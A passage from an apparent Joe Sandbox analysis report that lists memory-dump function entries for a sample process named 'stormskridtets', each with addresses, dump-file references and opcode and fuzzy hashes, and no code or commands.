                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 86061e125a0154a3e1d39ffa74d5ccbc6cc1c07bcb542cdb80851e94340dac06
                                    • Instruction ID: aad68d92a2b9d0324d785ecdd323970d0093ae28d912d0a1c49dfc6d2e57ae77
                                    • Opcode Fuzzy Hash: 86061e125a0154a3e1d39ffa74d5ccbc6cc1c07bcb542cdb80851e94340dac06
                                    • Instruction Fuzzy Hash: F29002A160150452414071584804446604957F2311395C116B0554560D8A189D59A669
                                    Function 37444340 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 0c0a04705c370728c0bc1ec845373fe196fecb824041f92ef604f0ae1cbb63ff
                                    • Instruction ID: c67fd408abf57708f50079525d6901eeef58b14cc607c019176f3d7ffdaedbcf
                                    • Opcode Fuzzy Hash: 0c0a04705c370728c0bc1ec845373fe196fecb824041f92ef604f0ae1cbb63ff
                                    • Instruction Fuzzy Hash: 8B90027160580422914071584884586404957F1311B55C012F0424554D8E149E5A6761
                                    Function 37443010 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: d18d819e8611169cb969c1b9712dba67ac34d61997ee7975eebc525572c96968
                                    • Instruction ID: 70e31795d21a615b78ac7eaacd1791d77a783a07a0e08cf0b2745d3b0498c4d5
                                    • Opcode Fuzzy Hash: d18d819e8611169cb969c1b9712dba67ac34d61997ee7975eebc525572c96968
                                    • Instruction Fuzzy Hash: FF90026120184852D14072584804B4F414947F2212F95C01AB4156554DCD159D596B21
                                    Function 37443090 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 3b7666049a5a5fa5817f1062444af59e51aa1ce1580e5a1377f5e1e12a251714
                                    • Instruction ID: 6ccfe9b5f74c307fbe923461c647786e79a5bf2094aec67186b02ce792e1d8d0
                                    • Opcode Fuzzy Hash: 3b7666049a5a5fa5817f1062444af59e51aa1ce1580e5a1377f5e1e12a251714
                                    • Instruction Fuzzy Hash: CF90026124140C12D14071588414747004A87E1611F55C012B0024554E8A169E697AB1
                                    Function 37442F60 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 3af349e937c47e4e6f7c886813b019a3f3c232d4c9f1e5a88abfebd116916061
                                    • Instruction ID: 7a1a5230f8a9512a80847e239a8d1ab425282e89f059b37b9fb99808d2dbe9ef
                                    • Opcode Fuzzy Hash: 3af349e937c47e4e6f7c886813b019a3f3c232d4c9f1e5a88abfebd116916061
                                    • Instruction Fuzzy Hash: F59002A121140452D10471584404746008947F2211F55C013B2154554DC9299D656525
                                    Function 37442F30 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: e96610bb75f226a33cbbb57f8f4566cc397eb28bfadafed09a221ce452422ab7
                                    • Instruction ID: 1fbe5ca816cdd7d418b3ebbf30430c1bf4705ee2d292aa70b9e941294a5270be
                                    • Opcode Fuzzy Hash: e96610bb75f226a33cbbb57f8f4566cc397eb28bfadafed09a221ce452422ab7
                                    • Instruction Fuzzy Hash: 1D9002A134140852D10071584414B46004987F2311F55C016F1064554E8A19DD567526
                                    Function 37442FE0 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 859fb641af5aa96c2a212b36c6a3cd91816c711eba97a81cc7ee80d4eb20f062
                                    • Instruction ID: d42129e52fa8202e3794dee7d7b855dd836b7367a7fca0c2fa285a0879ecb048
                                    • Opcode Fuzzy Hash: 859fb641af5aa96c2a212b36c6a3cd91816c711eba97a81cc7ee80d4eb20f062
                                    • Instruction Fuzzy Hash: 49900261211C0452D20075684C14B47004947E1313F55C116B0154554DCD159D656921
                                    Function 37442F90 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 1ed133aef786f34e1ddc7346e7661be0b98c1c71f6632d78705eeb2e2136b880
                                    • Instruction ID: a99b8a24876619b020fa0ebf574f8c26a67c2c5335bc2f6bbba5b7dcc260414d
                                    • Opcode Fuzzy Hash: 1ed133aef786f34e1ddc7346e7661be0b98c1c71f6632d78705eeb2e2136b880
                                    • Instruction Fuzzy Hash: 9290027120180812D1007158481474B004947E1312F55C012B1164555E8A259D557971
                                    Function 37442FA0 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 03b6cb1b81db7cb1f0d52ae5d668edc6fd7aef0ecaac1f2858573236e6f5a2fb
                                    • Instruction ID: de31712c991b965f13dca8164ae1bc729af74d0f914f06dafe0a24be7a8d1d13
                                    • Opcode Fuzzy Hash: 03b6cb1b81db7cb1f0d52ae5d668edc6fd7aef0ecaac1f2858573236e6f5a2fb
                                    • Instruction Fuzzy Hash: E190027120180812D10071584808787004947E1312F55C012B5164555F8A65DD957931
                                    Function 37442FB0 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 3e6976c090eb10bae8828458c567b44022ac810070f2a0ca34237f12c733a88b
                                    • Instruction ID: 0be2ee652701d2eede350d9ab15970ae2d13ab6379de92aebfe07a3f45ee99c5
                                    • Opcode Fuzzy Hash: 3e6976c090eb10bae8828458c567b44022ac810070f2a0ca34237f12c733a88b
                                    • Instruction Fuzzy Hash: B09002616014045241407168884494640496BF2221755C122B0998550E89599D696A65
                                    Function 37442E30 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 3ff736e6356a30e809e50759b4d5ba658acfa069794110f7ce0eabb4f5f83917
                                    • Instruction ID: 759b8c2a314216c3347d9d36f345f9b2d95c44d0a650360b44a33d6a23022c1c
                                    • Opcode Fuzzy Hash: 3ff736e6356a30e809e50759b4d5ba658acfa069794110f7ce0eabb4f5f83917
                                    • Instruction Fuzzy Hash: 7490026130140812D10271584414646004D87E2355F95C013F1424555E8A259E57B532
                                    Function 37442EE0 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 16055f322f8c273298248032a20a5b4410ba3969c02169533812422e2a7455db
                                    • Instruction ID: 5e49299af9490932b4d57a95fb764615a75bdb7260ef960f006233e2cbf1fb7d
                                    • Opcode Fuzzy Hash: 16055f322f8c273298248032a20a5b4410ba3969c02169533812422e2a7455db
                                    • Instruction Fuzzy Hash: E29002A120180813D14075584804647004947E1312F55C012B2064555F8E299D557535
                                    Function 37442E80 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: b863ad6c2334aa28b04935e7cc83f4be87248c422a1d7c16e44ac45d1bdb17cd
                                    • Instruction ID: c6c1c95d03a4ce99ab41e4f57afe16457eca0ca1ec1662a7ca9c9c77bb56b2a0
                                    • Opcode Fuzzy Hash: b863ad6c2334aa28b04935e7cc83f4be87248c422a1d7c16e44ac45d1bdb17cd
                                    • Instruction Fuzzy Hash: 8890026160140912D10171584404656004E47E1251F95C023B1024555FCE259E96B531
                                    Function 37442EA0 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 35f958e8e0fd16b5697ec62887c45c6f9e4afa526c241790e9102dccae825da9
                                    • Instruction ID: 2799a5926062c5690b3afbd38b9a1a56adc9f55b9e11764033468e365821bfd6
                                    • Opcode Fuzzy Hash: 35f958e8e0fd16b5697ec62887c45c6f9e4afa526c241790e9102dccae825da9
                                    • Instruction Fuzzy Hash: F49002B120140812D14071584404786004947E1311F55C012B5064554F8A599ED97A65
                                    Function 37443D70 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 36a365562f5205f77c15200cdb5903ba2d986bed3046260b02a61fbf3d99de14
                                    • Instruction ID: 7883f33987ff51443d09dce2700d23cc045c565f222b8aba369f996ecda8c482
                                    • Opcode Fuzzy Hash: 36a365562f5205f77c15200cdb5903ba2d986bed3046260b02a61fbf3d99de14
                                    • Instruction Fuzzy Hash: FA90027520140812D51071585804686008A47E1311F55D412B0424558E8A549DA5B521
                                    Function 37442D00 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 8d99b6c32f9745bde0255e16c6654cd69cf735122f421a7d36a04e1697de4798
                                    • Instruction ID: e62a7fcb5d0566c3f0549ee89a1a46accb2cdae4fc5cf296fe3ab948b0d61e17
                                    • Opcode Fuzzy Hash: 8d99b6c32f9745bde0255e16c6654cd69cf735122f421a7d36a04e1697de4798
                                    • Instruction Fuzzy Hash: B990026120544852D10075585408A46004947E1215F55D012B1064595ECA359D55B531
                                    Function 37443D10 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 5512c5fc712a2ba6f7186458b309cc0ac3a3eaaded8507ecb908889dbd907f47
                                    • Instruction ID: 93b227d098f7a679d05a3a83f107a26832d6b512dd9bbf44b0496de665fcb349
                                    • Opcode Fuzzy Hash: 5512c5fc712a2ba6f7186458b309cc0ac3a3eaaded8507ecb908889dbd907f47
                                    • Instruction Fuzzy Hash: F990027120240552954072585804A8E414947F2312B95D416B0015554DCD149D656621
                                    Function 37442D10 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 76390d497caadcd009f9e137809af26c24267b92c9c986f1c229f46f283e4b0d
                                    • Instruction ID: 04d296fbdafc930f197e3e27c156051a39fe30b79141463638d49d43304d95e3
                                    • Opcode Fuzzy Hash: 76390d497caadcd009f9e137809af26c24267b92c9c986f1c229f46f283e4b0d
                                    • Instruction Fuzzy Hash: DB90026921340412D1807158540864A004947E2212F95D416B0015558DCD159D6D6721
                                    Function 37442D30 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 132145a94ce18eb05e154fc75b5581a361e2226273c4292f364e382f1c8ac8ee
                                    • Instruction ID: 7ca11477f3725919a9b7547bf8c9aba5c5c9e8357688787cd92f8494efcd2f8c
                                    • Opcode Fuzzy Hash: 132145a94ce18eb05e154fc75b5581a361e2226273c4292f364e382f1c8ac8ee
                                    • Instruction Fuzzy Hash: 7E90026130140413D14071585418646404997F2311F55D012F0414554DDD159D5A6622
                                    Function 37442DD0 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 525f1a32f3b344d497a8f5bc228043cb8aa2841ba573874a3e38b4a0688adcc6
                                    • Instruction ID: e05299ea2d257a090a6071d37b43eade9b302a4a6436374195309180cc29288f
                                    • Opcode Fuzzy Hash: 525f1a32f3b344d497a8f5bc228043cb8aa2841ba573874a3e38b4a0688adcc6
                                    • Instruction Fuzzy Hash: E3900261242445625545B1584404547404A57F1251795C013B1414950D8926AD5AEA21
                                    Function 37442DB0 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: cf97aa5509646493fc04a17f3468bdf644f2b6b7f1a09dc165b7506fadb1e5dd
                                    • Instruction ID: a58582b331d6fe5fed0e06522d12b4814c15688582251fad0b48c105060c0458
                                    • Opcode Fuzzy Hash: cf97aa5509646493fc04a17f3468bdf644f2b6b7f1a09dc165b7506fadb1e5dd
                                    • Instruction Fuzzy Hash: 0290027124140812D14171584404646004D57E1251F95C013B0424554F8A559F5ABE61
                                    Function 37442C60 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 5bedb5f88811791c4bda9f9d65bb23221269d6e0d58ee5a77b357557faf9bde4
                                    • Instruction ID: 63b475da8c59b47820e6e07bfeff8342876b039fa169273bb9a0f67042d5bd08
                                    • Opcode Fuzzy Hash: 5bedb5f88811791c4bda9f9d65bb23221269d6e0d58ee5a77b357557faf9bde4
                                    • Instruction Fuzzy Hash: C290027120140C52D10071584404B86004947F1311F55C017B0124654E8A15DD557921
                                    Function 37442CC0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 46cb4c2f236fb5e89f359499abee9ffd3e588cbc804c5197fec0222a733db04b
                                    • Instruction ID: 61e9b92918b4782287889c38dc2b520c0aade440e82d36598b32283a57efd767
                                    • Opcode Fuzzy Hash: 46cb4c2f236fb5e89f359499abee9ffd3e588cbc804c5197fec0222a733db04b
                                    • Instruction Fuzzy Hash: C190026160540812D14071585418746005947E1211F55D012B0024554ECA599F597AA1
                                    Function 37442CF0 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: de4fb7c32cdf44c5de67de7eb0d692689e4e2afbd511f6e5f707d952f7368728
                                    • Instruction ID: c2dbb7af04f83bd8048eb46ab764b4a9e570246ea329db3559efbd650adde658
                                    • Opcode Fuzzy Hash: de4fb7c32cdf44c5de67de7eb0d692689e4e2afbd511f6e5f707d952f7368728
                                    • Instruction Fuzzy Hash: 9890027120140813D10071585508747004947E1211F55D412B0424558EDA569D557521
                                    Function 37442CA0 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: e03dc636896b34bb001dc5b4590c526e2537dd2aa00bf53e532e141bd025e950
                                    • Instruction ID: 7ea22ecf4f3da8116fdd745985378b7b01589abf6ab49d86bbbadb5ac5675861
                                    • Opcode Fuzzy Hash: e03dc636896b34bb001dc5b4590c526e2537dd2aa00bf53e532e141bd025e950
                                    • Instruction Fuzzy Hash: 9190027120140812D10075985408686004947F1311F55D012B5024555FCA659D957531
                                    Function 37442BE0 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
